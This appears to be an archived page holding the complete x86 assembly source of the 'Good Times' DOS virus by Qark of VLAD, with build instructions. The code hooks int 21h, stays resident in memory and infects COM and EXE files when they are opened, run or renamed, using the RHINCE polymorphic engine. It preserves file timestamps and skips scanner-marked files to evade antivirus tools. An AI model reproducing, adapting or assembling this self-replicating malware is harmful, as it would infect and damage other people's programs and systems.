home *** CD-ROM | disk | FTP | other *** search
-
- ;
- ; Good Times
- ; by
- ; Qark [VLAD]
- ;
- ; Infects COM files between 60000 and 1024 bytes in size. It traverses the
- ; file by following any jumps/calls at the immediate start, and writes a call
- ; to the main virus body there.
- ; Infects EXE files in the standard manner. Won't infect Win EXE files,
- ; EXE files without FFFF in the maxmem field and EXE files that use overlays.
- ;
- ; It is polymorphic because it uses RHINCE to generate random length
- ; decryptors.
- ;
- ; Also...
- ; The act of loading the file into a mail server's ASCII
- ; buffer causes the "Good Times" mainline program to
- ; initialize and execute.
- ;
- ; Remember to email all your friends, warning them about Good Times!
- ;
- ; To assemble the virus, you will require a86, and the source to RHINCE.
- ; The RHINCE source needs to be named 'rhince.inc' and the label 'polycode'
- ; must be removed from it.
- ;
-
- org 0
-
- mov bp,sp
-
- call next ;IP onto the stack
-
- next:
- mov si,[bp-2] ;SI=delta+offset next
- sub si,offset next ;SI=delta
- lea ax,word ptr [si+offset next_ret] ;AX=offset next_ret
- mov [bp-2],ax ;We will RET to next_ret now.
- ret
- next_ret:
- cld
- push ds
-
- mov ax,3d76h
- int 21h
- cmp ax,763dh
- je resident
-
- mov ax,ds
- dec ax
- mov ds,ax
-
- xor di,di
-
- cmp byte ptr [di],'Y'
- jbe resident
-
- sub word ptr [di+3],(offset stack_end /16) + 1
- sub word ptr [di+12h],(offset stack_end /16) + 1
- mov ax,word ptr [di+12h]
- mov es,ax
-
- push cs
- pop ds
- mov cx,offset end_virus
- push si
- rep movsb
-
- mov ds,cx ;CX=0 from the rep movsb
-
- mov si,21h*4
- mov di,offset i21
- movsw
- movsw
- mov word ptr [si-4],offset int21handler
- mov word ptr [si-2],es
-
- pop si
- resident:
- pop ds
-
- push ds
- pop es
-
- cmp byte ptr cs:[si+offset com_exe],1
- je exe_exit
-
- db 0bfh ;MOV DI,xxxx
- ret_point dw 100h
-
- sub word ptr [bp],3 ;Convert the original call.
- add si,offset old4
- movsw
- movsw
- ret
-
- exe_exit:
- mov ax,ds ;AX=DS=PSP
- add ax,10h ;Point to start of executable code.
-
- add word ptr cs:[si+offset jump+2],ax ;Fix CS
-
- ;Restore SS:SP
- mov sp,word ptr cs:[si+offset orig_sp]
- add ax,word ptr cs:[si+offset orig_ss]
- mov ss,ax
-
- jmp $+2 ;Clear prefetch.
- db 0eah ;Far jump
- jump dd 0 ;CS:IP from EXE header.
-
- orig_sp dw 0
- orig_ss dw 0
-
- com_exe db 0 ;COM = 0 EXE = 1
-
- db ' Good Times by Qark/VLAD '
-
- int21handler:
- push ax
- xchg ah,al
- cmp al,3dh
- je res_test
- cmp al,43h
- je infect
- cmp al,4bh
- je infect
- cmp al,56h
- je infect
- pop_exit:
- pop ax
- jend:
- db 0eah ;JMP orig21
- i21 dd 0
- res_test:
- cmp ah,76h ;Check for our little res test.
- jne infect
- inc sp ;AX is on the stack.
- inc sp
- iret
-
- infect:
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
-
- mov si,dx
- cld
- find_dot:
- lodsb
- cmp al,'.'
- jne find_dot
- lodsb ;Load AL with the first letter of the ext.
-
- ;I only check the first letter of the file name, but that doesn't
- ;concern me because I check for the MZ/ZM or look for a E9 otherwise.
-
- cmp al,'C'
- je ok_name
- cmp al,'E'
- je ok_name
- cmp al,'c'
- je ok_name
- cmp al,'e'
- je ok_name
- iipop_exit:
- jmp ipop_exit
- ok_name:
-
- ;call test_name
-
- mov ax,3d02h
- call int21h
- jc iipop_exit
-
- xchg bx,ax ;File handle into BX
-
- push cs
- pop ds ;DS=CS
- push cs
- pop es ;ES=CS
-
- mov ah,3fh
- mov dx,offset old4
- mov si,dx ;SI=Offset end_virus
- mov cx,1ch
- call int21h
-
- mov ax,word ptr [si]
-
- or ax,2020h ;Convert to lowercase for anti
- ;heuristics.
- cmp ax,'mz'
- je exe_infect
- cmp ax,'zm'
- je exe_infect
-
- jmp com_infect
- eclose:
- jmp close_exit
- exe_infect:
-
- cmp word ptr [si+1ah],0 ;Don't infect overlays.
- jne eclose
- cmp word ptr [si+18h],40h ;Don't infect windows executables.
- jae eclose
- ;If total memory isn't allocated, don't
- cmp word ptr [si+0ch],0ffffh ;infect.
- jne eclose
-
- cmp word ptr [si+12h],'BV' ;When 'Virus Buster' generically
- je eclose ;restores EXE files, it leaves this
- ;signature in the checksum, which
- ;is handy for us because it means:
- ;A) we don't infect the files of
- ;a person who uses scanners, and
- ;B) AVers can't use it as part of
- ;a signature.
-
-
- mov byte ptr com_exe,1 ;Signal EXE file.
-
- mov ax,word ptr [si+0eh]
- mov word ptr orig_ss,ax
- mov ax,word ptr [si+10h]
- mov word ptr orig_sp,ax ;Saved the SS:SP
-
- push si
- add si,14h
- mov di,offset jump
- movsw
- movsw ;Saved the CS:IP
- pop si
-
- call lseek_end
- ;File length is in DX:AX
- mov cx,16
- div cx ;Paragraphs.
-
- sub ax,word ptr [si+8] ;Subtract header size.
-
- mov word ptr [si+14h],dx ;IP into header
- mov word ptr [si+16h],ax ;CS into header
- push dx
- add dx,offset stack_end
-
- dec ax
- mov word ptr [si+0eh],ax ;We'll make SS=CS-1
- mov word ptr [si+10h],dx ;SP=IP+stack_end
- and dx,0fffeh
-
- pop bp
- mov cx,offset end_virus
- xor dx,dx
- push bx
- push si
- call mut_eng
- pop si
- pop bx
-
- call save_time
-
- mov ah,40h
- call int21h
- jc close_exit
-
- call lseek_end
- ;File length into DX:AX
-
- mov cx,512 ;Page size.
- div cx
-
- or dx,dx
- jz no_page_fix
- inc ax ;Add the last partial page.
- no_page_fix:
- mov word ptr [si+4],ax ;Number of pages
- mov word ptr [si+2],dx ;Partial page.
-
- call lseek_start
-
- mov word ptr [si+12h],'BV' ;Our marker.
-
- mov ah,40h ;Write header.
- mov dx,si
- mov cx,1ch
- call int21h
-
- call restore_time
-
- close_exit:
- mov ah,3eh
- call int21h
-
- ipop_exit:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
-
- jmp pop_exit
-
- com_infect:
-
- mov byte ptr com_exe,0 ;Signal COM infection.
- mov word ptr filepointer,0 ;Point to start of the file.
-
- recurse_entry:
-
- mov al,byte ptr [si]
-
- cmp al,0e9h ;JMP instruction
- je chk_entry
- cmp al,0e8h ;CALL instruction
- je chk_entry
- cmp al,0ebh ;JMP 'short' instruction
- jne write_virus
-
- mov al,byte ptr [si+1]
- add al,2
- cbw
- jmp short smalljmp
- chk_entry:
- mov ax,word ptr [si+1] ;Jump distance.
- add ax,3
- smalljmp:
- add ax,word ptr filepointer
- mov word ptr filepointer,ax
-
- push ax
-
- add ax,100h ;Calculate where to return stuff to.
- mov word ptr ret_point,ax
-
- pop dx
- mov al,0
- push dx
- call lseek
-
- mov dx,offset old4 ;Read the original bytes there.
- mov cx,4
- mov ah,3fh
- call int21h
-
- pop dx
- mov al,0
- call lseek ;Lseek back there.
-
- cmp byte ptr old4 + 3,'H' ;Check if its already infected.
- jne recurse_entry
- jmp closejmp ;Must be infected...
-
- write_virus:
-
- call lseek_end
- or dx,dx
- jnz close_exit
- cmp ax,60000
- ja close_exit
- cmp ax,1024
- jb close_exit
-
- xchg dx,ax ;File size into DX
-
- mov ax,word ptr filepointer ;Where the jump goes to.
- add ax,3 ;Jumps are 3 bytes.
- sub dx,ax ;Calculate new jump offset.
- mov word ptr new_jump+1,dx ;Move it.
- sub ax,3 ;This is the physical disk position.
-
- mov dx,ax
- mov al,0
- call lseek ;Lseek to the jump entry.
-
- call save_time
-
- mov cx,4 ;Write the new jump. (a call :)
- mov dx,offset new_jump
- mov ah,40h
- call int21h
- jc closejmp
-
- call lseek_end
-
- add ax,100h
- mov cx,offset end_virus
- mov bp,ax
- xor dx,dx
- push bx
- call mut_eng
- pop bx
-
- mov ah,40h
- ;mov cx,offset end_virus
- ;xor dx,dx
- call int21h
-
- call restore_time
-
- closejmp:
- jmp close_exit
-
- ;----------------------------------------
- int21h: ;Simulated int 21 call.
- pushf
- call dword ptr cs:i21
- ret
- ;----------------------------------------
- Lseek_End: ;Lseek to the end.
- mov al,2
- jmp short lsk
- Lseek_Start: ;Lseek to the start.
- mov al,0
- lsk:
- xor dx,dx
- Lseek: ;General Lseek.
- xor cx,cx
- mov ah,42h
- call int21h
- ret
- ;----------------------------------------
- Save_Time:
- push ax
- push cx
- push dx
-
- mov ax,5700h
- call int21h
-
- mov word ptr time,cx
- mov word ptr date,dx
-
- pop dx
- pop cx
- pop ax
- ret
- ;----------------------------------------
- Restore_Time:
- push ax
- push cx
- push dx
-
- db 0bah ;MOV DX,xxxx
- date dw 0
-
- db 0b9h ;MOV CX,xxxx
- time dw 0
-
- mov ax,5701h
- call int21h
-
- pop dx
- pop cx
- pop ax
- ret
- ;----------------------------------------
-
- include rhince.inc ;Rhince's polymorphic engine.
-
- new_jump db 0e8h,0,0,'H' ;Actually its a CALL.
- filepointer dw 0
- old4 db 0cdh,20h,0,0
- end_virus:
- db 1ch dup (0)
- polycode: ;Rhince needs this here.
- db 500 dup (0) ;Make some room for rhince.
- dup_size equ offset end_virus
- db dup_size dup (0)
- stack_end:
-
-
-